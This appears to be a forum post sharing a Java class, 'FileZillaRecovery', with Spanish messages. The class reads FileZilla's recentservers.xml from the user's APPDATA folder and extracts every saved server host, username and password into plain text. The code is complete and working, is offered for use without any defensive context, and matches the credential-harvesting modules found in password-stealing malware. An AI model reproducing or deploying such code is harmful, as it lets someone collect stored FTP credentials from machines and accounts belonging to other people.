Código: Seleccionar todo
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.BufferedReader;
import java.io.IOException;
public class FileZillaRecovery {
public static String FileZilla() throws IOException
{
File sFile = null;
FileReader Fr = null;
BufferedReader Br = null;
int i;
String sName;
String sHost;
String sUser;
String sPass;
String sAccount;
String sFileXML;
String F_Account;
String[] sArrAccount;
String FileZilla;
sHost = "";
sUser = "";
sPass = "";
sAccount = "";
F_Account = "";
sName = System.getenv("APPDATA");
sFile = new File(sName + "\\FileZilla\\recentservers.xml");
try
{
Fr = new FileReader(sFile);
Br = new BufferedReader(Fr);
while ((sFileXML = Br.readLine())!=null)
{
sAccount = sAccount + sFileXML + "\n";
}
} catch (FileNotFoundException ex)
{
System.out.println("No se pudo recuperar!");
return F_Account;
}
if (sAccount.indexOf("<RecentServers>")!=-1)
{
sAccount = TextCenter(sAccount,"<RecentServers>","</RecentServers>");
sArrAccount = sAccount.split("<Server>");
for (i=1;i<sArrAccount.length;i++)
{
sHost = TextCenter(sArrAccount[i],"<Host>","</Host>");
sUser = TextCenter(sArrAccount[i],"<User>","</User>");
sPass = TextCenter(sArrAccount[i],"<Pass>","</Pass>");
F_Account = F_Account +
"Host: " + sHost + "\n" +
"User: " + sUser + "\n" +
"Pass: " + sPass + "\n\n";
}
return F_Account;
}
else
{
System.out.println("No se pudo recuperar!");
return F_Account;
}
}
private static String TextCenter(String sTexto,String sDel1,String sDel2)
{
sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.length());
sTexto = sTexto.substring(0,sTexto.indexOf(sDel2));
return sTexto;
}
}